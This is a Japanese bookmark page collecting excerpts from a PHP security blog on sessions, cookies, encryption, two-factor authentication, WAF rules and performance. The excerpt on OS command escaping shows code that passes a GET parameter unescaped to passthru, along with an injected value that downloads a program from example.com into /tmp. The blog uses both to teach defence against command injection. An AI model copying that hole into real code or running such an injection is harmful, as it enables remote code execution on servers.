タグ

ブックマーク / blog.ohgaki.net (42)

  • PHPのmt_rand関数が壊れている問題

    (Last Updated On: 2018年8月8日)PHPのmt_rand関数のtwistマクロに一文字タイポがあり、修正されたのですが http://git.php.net/?p=php-src.git;a=commitdiff;h=a0724d30817600540946b41e40f4cfc2a0c30f80 でリバートされてしまいました。 追記 PHP 7.1からMT randのコードが修正されています。ユーザーコード(PHPスクリプト)からはアルゴリズムは選べません。Cモジュールの場合、旧アルゴリズムと修正済アルゴリズムから選択できるようになっています。 この他にもPHPのmt_rand()実装の場合、来MT randは2^19937の状態を取り得るのですが、PHPはたったの2^32の状態でしか初期化できません。つまり、MT randアルゴリズムに較べて2^19902くらい

    PHPのmt_rand関数が壊れている問題
    hiro_y
    hiro_y 2016/02/20
  • PHPバイトコードキャッシュの性能 – Opcache

    (Last Updated On: 2018年8月13日)PHPの性能はバイトコードキャッシュにより数倍向上するのですが、久しぶりにopcacheをキーワードに検索してみると「それほど効果がない」と誤った評価をしているページもあったので、Opcacheによりどのくらい速くなるか簡単なベンチマークをします。 テスト環境 CPU – Intel(R) Core(TM) i7-4770S CPU @ 3.10GHz メモリ – DDR3 32GB OS – Fedora 23 x86_64(4.3.4-300.fc23.x86_64) Webサーバー – Fedora 23 httpd パッケージ(httpd-2.4.18-1.fc23.x86_64) PHP – Fedora 23 PHP 5.6.17 パッケージ(php-5.6.17-1.fc23.x86_64) Opcache – Fed

    PHPバイトコードキャッシュの性能 – Opcache
    hiro_y
    hiro_y 2016/02/11
  • 今すぐできる、Webサイトへの2要素認証導入

    (Last Updated On: 2018年8月14日)Google、Facebook、Amazon(AWS)、Githubなど、大手Webサービス会社が2要素認証を取り入れてしばらく経っています。自分のWebサイトでも2要素認証を導入したい!と思ったことは無いですか? 簡単に可能です! パスワード認証だけではもう安全とは言えません。ぜひ2要素認証を自分のサービス/プロダクトに導入してください。 2要素認証とは? 2要素認証(2 Factor Authentication)とはパスワードとは別の認証コードを利用してユーザーを認証する方式です。2段階認証(2 Step Authentication)と呼ばれることもあります。複数の認証要素を利用して認証するので多要素認証(Multi Factor Authentication) とも呼ばれています。AWSでは2要素認証をMFAと呼んでいます

    今すぐできる、Webサイトへの2要素認証導入
    hiro_y
    hiro_y 2015/04/19
  • PHP7の新しいセッションモジュールの性能

    (Last Updated On: 2018年8月13日)PHP7用の新しいセッションモジュールの準備ができたので紹介します。かなりの性能向上が期待できます。 パッチ GitHub:https://github.com/php/php-src/pull/1016 ベンチマーク 環境 Fedora 21 x86_64/Intel Core i7/Apache 2.4/PHP 7 custom テストコマンド ab -c 7 -n 500000 http://localhost:8888/session.php テストスクリプト <?php ini_set('session.save_path', '/home/tmp'); ini_set('session.lazy_write', 1); // Change mode here ini_set('session.use_strict_mod

    PHP7の新しいセッションモジュールの性能
    hiro_y
    hiro_y 2015/01/30
  • PHPのOpenSSL関数を利用して暗号化する例

    (Last Updated On: 2021年2月15日) 色々やることがあってブログを更新できていませんでした。久々のブログはPHPのOpenSSL関数を使ってAES-256-CBCを使って暗号化する例です。今時のハードウェアとソフトウェアならハードウェアAESが利用できるので普通はAES-256-CBCで構わないでしょう。 ”パスワード”だけで暗号化する例 暗号を利用する場合のポイントは以下の通りです。 IV(Initialization Vector ソースでは$iv)にはランダムな「バイト」を利用する。IVに16進数のハッシュ「テキスト」を使うと折角のIVの空間を半分にしてしまいます。IVには毎回ランダムバイトを設定する。鍵($key)には「バイト」を利用する。IVと同様にハッシュ「テキスト」などを使うと鍵空間が半分になってしまう。人に256ビットの鍵を要求するのは非現実的なので、

    PHPのOpenSSL関数を利用して暗号化する例
    hiro_y
    hiro_y 2015/01/19
  • 間違いだらけのHTTPセッション管理とその対策

    (Last Updated On: 2018年10月12日)HTTPセッション管理はWebセキュリティの中核と言える機能です。Webセキュリティの中核であるHTTPセッション管理に設計上のバグがある事は少なくありません。今回のエントリはPHP Webアプリ開発者ではなく、主にWebフレームワーク側の開発者、つまりPHP体の方に間違いがあるという話しです。Webアプリ開発者の回避策も紹介します。 まずセキュリティの基として「入力のバリデーションを行い、正当な入力のみを受け入れる」があります。しかし、PHPに限らず多くのセッション管理機構は当たり前の「入力のバリデーションを行い、正当な入力のみを受け入れる」を行っていません。セッションIDの再生成(リセット)も不完全な物が多いと思います。 参考: 知らないと勘違いする「合成の誤謬」の罠 開発者は必修、SANS TOP 25の怪物的なセキュリ

    間違いだらけのHTTPセッション管理とその対策
    hiro_y
    hiro_y 2014/02/22
  • OSコマンドのエスケープ

    (Last Updated On: 2022年7月25日)プログラムからOSコマンドを実行する場合、エスケープ処理を行わないと任意コマンドが実行される危険性があります。 今回はOSコマンドのエスケープについてです。 OSコマンドインジェクション OSコマンドインジェクションはプログラムから実行するコマンドに、攻撃用文字列を挿入(インジェクション)して意図しないコマンドを実行させる攻撃です。 例えば、次のようなLinuxシステムのディレクトリの内容を表示させるプログラム <?php passthru('ls -l '.$_GET['dir']); (任意のディレクトリ内容を表示できる脆弱性はここでは考慮しない) に不正なコマンドを実行させるのはとても簡単です。$_GET[‘dir’]に . ; cd /tmp; wget http://example.com/evil_program; ch

    OSコマンドのエスケープ
    hiro_y
    hiro_y 2013/12/16
  • セッションのクッキーを設定する場合のベストプラクティス

    (Last Updated On: 2018年8月18日)HTTPセッションは通常クッキーを利用して行います。クッキーを利用したセッションの場合、お薦めする設定は以下の通りです。 ドメイン名は指定しない パスはルート(/)を指定する セッション管理用のクッキーはセッションクッキー(有効期間0)にする httponly属性を付ける 可能な場合は必ずsecure属性をつける 複数アプリケーションを利用する場合はsession.nameまたはsession_name()でセッションクッキー名で指定する (アプリケーションの固有名デフォルトで設定し、設定項目として変更できるようにする) 3まではPHPデフォルト設定です。4から6までは自分で設定しなければなりません。PHPの場合、すべてphp.iniで指定できます。session_set_cookie_params()でセッション開始前に指定すれば

    セッションのクッキーを設定する場合のベストプラクティス
    hiro_y
    hiro_y 2011/11/25
    「自動ログインを有効にする場合は別の使い捨ての認証用クッキー(再認証用のトークン)を用い、ログインする場合に自動ログインするか、しないか選択できるようにしてユーザが制御できるようにします。」
  • PHPセッションアダプションをスクリプト側で修正する方法

    (Last Updated On: 2018年8月13日)PHPのスクリプトを使ってアダプティブなPHPセッションをアダプティブにしない方法を紹介します。 このブログで紹介していたかどうか覚えていないですが、セッションアダプション対策としてsession_regenerate_id()が導入された時に議論・紹介されているので知っている方も多いと思います。(というより、PHPerの常識ですよね?) まずはセッションアダプションの原理と対策の復習をしておきます。 原理: 未初期化のセッションIDを受け入れる 対策: 初期化済みセッションIDのみ受け入れる session_regenerate_id()は新しいセッションIDを生成して新しいセッションクッキーを作成して、セッションデータを保存するようになっています。session_regenerate_id()を呼んだだけでは、なんらかの方法で複

    PHPセッションアダプションをスクリプト側で修正する方法
  • Flashのセキュリティ設定 – Flash Cookie

    (Last Updated On: 2009年2月10日)Flash Playerの設定はAdobe(Macromedia)のページで行う事は、Web開発者には常識だと思います。このブログをあまり一般的なユーザが見ている、とは思えませんが一般ユーザ向けに書いています。 Flashの設定は以下のWebページから行います。 Flashセキュリティ設定のページ(MomongaLinux x86_64+Flash10 Alpha) http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager03.html デフォルトで「サードパーティ製のFlashコンテンツにコンピュータ上のデータを格納する事を許可します」にはチェックが入っています。 これはFlash Cookie(ローカル共有オブジェクト

    Flashのセキュリティ設定 – Flash Cookie
    hiro_y
    hiro_y 2009/02/10
    Flashのセキュリティ/SharedObjectの設定とか。
  • 2009年に流行るもの

    (Last Updated On: 2009年1月1日)新年あけましておめでとうございます。 去年、1月に2008年に流行るものとして64bit OSを挙げています。 http://blog.ohgaki.net/2008/1/ 2007年には64bit OSはまだ、珍しい感じがありましたが2008年は普通になったと思います。しかし、まだ当たり前に使われる状態にまではなっていません。Macは完全に64bit/32bit環境は統合されています。LinuxでもFedora10では64bit版でも32bit版とのアプリケーション互換性が大幅に向上しています。Windowsの場合は32bit版, 64bit版の間で互換性の問題があるため敬遠されていますが、8GBのメモリが標準的なれば、MSがPAEをVistaでサポートしない限り64bitが普及することでしょう。 さて、2009年に流行るものとして

    2009年に流行るもの
    hiro_y
    hiro_y 2009/01/05
    「2009年に流行るものとして『Webアカウントへの不正アクセス』を予想しています」
  • PHP 5.3の名前空間仕様が変更されました

    (Last Updated On: 2018年8月13日)名前空間に関する議論は5年以上も行われていたのですが、今度こそ結論が出たようです。 何故このようなエントリを書くかというと、Software Design(技術評論社)の11月号にPHPの最新情報としてα版PHP 5.3を紹介しているからです。入稿後に仕様変更があったので最新号の記事ですが既に内容が古くなってしまいました。 # とは言ってもまだ新しい仕様のPHPは無いですが α版なので仕様や機能が大きく変更される事もありますが大きな変更がありました。見誌が刷り上がった頃に名前空間の区切り文字が”::”だと静的にメソッドを呼び出す場合やクラス定数を呼び出す場合に困る場合がある、とPHP開発者のMLで議論になり始めました。 ML上、IRC上、オフラインの打ち合わせが行われ、数週間におよぶ議論の結果が昨日MLに投稿されました。名前空間の

    PHP 5.3の名前空間仕様が変更されました
    hiro_y
    hiro_y 2008/10/27
    名前空間の区切り文字がバックスラッシュに…。
  • mod rewriteを使用した簡易WAF

    (Last Updated On: 2018年8月8日)http://www.0x000000.com/?i=567 にmod rewriteを利用した簡易WAF(Web Application Firewall)の定義例が掲載されています。同じようなアイデアをお持ちの方、既に似たような設定を使われている方も多いとは思います。 簡単なWAFですが、実用性も高いです。例えば、ヌル文字やHTML特殊文字のインジェクションは様々な攻撃で利用されます。アプリケーションで対処が忘れられがちなCOOOKIEやREFER、USER_AGENT等に特殊文字が入っていた場合にアクセスを拒否する部分だけもで導入する価値は十分にあると思います。 元ネタのサイトは英語ですが、解説付きです。 これを入れると問題となる場合もあるので、内容を理解してから利用しなければなりません。 RewriteEngine On Op

    mod rewriteを使用した簡易WAF
    hiro_y
    hiro_y 2008/05/18
    mod_rewriteをセキュリティ対策として利用。
  • Smarty 2.6.19未満のregex_replaceは脆弱と言うよりは…

    (Last Updated On: 2008年4月3日)Smarty 2.6.19未満のregex_replaceは脆弱だったと言うよりは、今でも脆弱と言った方が良いと思います。 Smarty 2.6.19は2008/2/11にリリースされました。ちょっと古い話ですが、Smarty 2.6.19より前のバージョンのregex_replaceは脆弱、とアナウンスされています。 subversionを見てみると if (($pos = strpos($search,"\0")) !== false) $search = substr($search,0,$pos); が追加されています。 ヌルバイトアタックに脆弱、と言う話です。 しかし、それ以前にマルチバイト環境では2.6.19でも話になりません。幾つかのプロジェクトでSmartyを取り扱った事がありますが、当然マルチバイト対応して使っていま

    Smarty 2.6.19未満のregex_replaceは脆弱と言うよりは…
    hiro_y
    hiro_y 2008/04/29
    Smartyとマルチバイトについては、案外知られてないことのような気もする。
  • PostgreSQL 8.3の全文検索機能(TSearch2)を日本語で利用する

    (Last Updated On: 2018年8月13日)PostgreSQL 8.3.0から、ユーザから提供されている追加機能(contrib)として利用できた全文検索機能(TSearch2)が体に取り込まれました。 体に取り込まれたため、PostgreSQL 8.3.0以降ではソースから構築する場合に ./configure make make install と実行するだけで全文検索機能が利用できるようになりました。 TSearch2は単語単位で全文検索できます。しかし、日語のように単語に区切りがない場合、単語に分解(形態素解析)してからインデックス化する必要があります。 # N-gramは使えません。 残念ながら日語をそのまま扱える機能はPostgreSQL 8.3では実装されていません.しかし、TSearch2(textsearch)を日語で利用するための追加機能がpg

    PostgreSQL 8.3の全文検索機能(TSearch2)を日本語で利用する
    hiro_y
    hiro_y 2008/04/07
    PostgreSQL 8.3で全文検索機能(TSearch2)が本体に取り込まれた。日本語を扱うにはtextsearch-jaを使う。
  • 企業ユーザはPHP4からPHP5への移行は慎重にすべき

    (Last Updated On: 2018年8月13日)2008年1月3日のPHP4.4.8のリリースを持ってPHP4サポートが終了しました。海外では「PHP5へ移行しよう」キャンペーンも始まりました。 私は従来から「PHP5へ早く移行すべきです」と繰り返し勧めて来ました。現在でも全てのオープンソースアプリケーションの開発者は、今すぐPHP5に移行すべき、と考えています。 しかし、新規開発を除き、企業ユーザには今すぐPHP5へ移行すべきだ、と一概にアドバイスできません。3つのお薦めしない理由があります。 PHP4からPHP5へのマイグレーションはそれほど簡単ではない PHP5に移行するとマイナーバージョンアップに追随しないとならない PHP5.3のリリースが準備されている PHP4からPHP5へのマイグレーションはそれほど簡単ではない PHP4からPHP5への移行でチェックしなければなら

    企業ユーザはPHP4からPHP5への移行は慎重にすべき
    hiro_y
    hiro_y 2008/02/05
    PHP5に移行を考えたときに注意するポイント。5.3…。
  • どの言語で書いてもおかしなコードを書く奴は書く

    (Last Updated On: 2013年12月1日)# 書きかけです。後で編集予定 「Web屋のネタ帳」のどの言語で書いてもおかしなコードを書く奴は書くに対するコメントです。その記事にはRubyのまつもと氏のブログの引用もあるのでそちらにも対するコメントでもあります。 言語が良いコードを書けるようサポートする事はできると思います。しかし、言語だけによって良いコード(安全なコード、メンテナンスし易いコードなど)が書けるようにはならないのではないでしょうか? 言語だけでは不十分だからです。 「どの言語で書いてもおかしなコードを書く奴は書く」とは昔から言われてきた事です。同じ人がおかしなコードを書きつづける場合もあるとは思いますが「どの言語のユーザでもおかしなコード(危険なコードであったり、メンテナンスが難しいコード、無駄が多いコード)を書く人はいるものだ」の意味で使われていると思います。

    どの言語で書いてもおかしなコードを書く奴は書く
    hiro_y
    hiro_y 2008/02/04
    「PHPは反対の方向性 動的な言語からJavaに近い静的な言語へ で拡張してきています。」
  • フォームの2重送信の防止…

    (Last Updated On: 2013年12月3日)ちょっと気になったので… 記事はコラム形式だったので書いていないだけだと思いますが2つ問題があります。 1. 識別可能なフォームの数に限りがある セッション変数を利用しているため変数名でフォームを識別する必要があり、ユーザが複数のフォームを利用した場合、正しく動作しない。この制限をなくす事もできますが、その場合セッション変数が大きくなりすぎた状態に対処するようにしないとならくなります。(ガーベッジコレクションの実装が必要) 2. レースコンディションによる2重投稿の可能性がある コードを見て分かる通り if (isset($_POST['submit_button'], $_SESSION['ticket'], $_POST['ticket']) && $_SESSION['ticket'] === $_POST['ticket']

    フォームの2重送信の防止…
    hiro_y
    hiro_y 2007/10/21
    二重投稿防止にワンタイムトークン/トランザクショントークンを使う場合の注意。
  • PRGパターンって不必要…

    (Last Updated On: 2014年12月5日)PRGパターンって不必要…というより有害な気がします。 追記/訂正: 普通に実装するとこの後に書いている問題は発生しないので、別の実装が「戻る」ボタンで戻れない原因の様です。普通にリダイレクトすれば302でブラウザに返すので前のページまで戻ります。態々別のリダイレクトをしているPRGパターンが有害と言う事なのかも知れません。今度戻れないページにあったら調べてブログに書きます。(あまり突くと攻撃と見なされるかもしれないので問題ですけど… 役に立つ対策ではないですがもしかすると重複ポスト対策なのかも知れません。不特定多数向けアンケートなどだと安直にリダイレクトで制限だけしてOKとしているのかも知れません。幾つかのパターンがありそうなので調べてみる価値はありそうです)私はデータのやり取りが増え、かつGETを利用することにより汎用性が劣るこ

    PRGパターンって不必要…
    hiro_y
    hiro_y 2007/10/14
    POST-Redirect-GETパターンへの疑義。なんか勘違いがあるような。
  • サーバシグニチャは隠すのが当たり前

    (Last Updated On: 2007年9月4日)私も何年も前からセミナーではサーバ、モジュールバージョンは隠すようにと言っています。何故こんな事で賛否両論になるのか全く理解できません。犯罪者がどのように攻撃するか?を考えればなぜ隠す必要があるのか理由は明白です。サーバのバージョン情報が詳しく公開されていれば、その情報を使うに決まっています。攻撃に使える情報は全て使わない訳がありません。 最新版を使っているから安全ではない事も明白です。サーバに0day攻撃の脆弱性が発見された場合どの情報を使います?公開または推測できるバージョン情報に決まっています。 フィンガープリンティングでかなりの確率で推測可能、という議論もあるとは思います。しかし、適切に運用/設定されているシステムなら細かいバージョン番号までは推測できない場合が多いと考えられます。 犯罪者が攻撃に利用している、利用する可能性が

    サーバシグニチャは隠すのが当たり前
    hiro_y
    hiro_y 2007/09/04
    隠すに越したことはない、ぐらいの話でしかないのでは。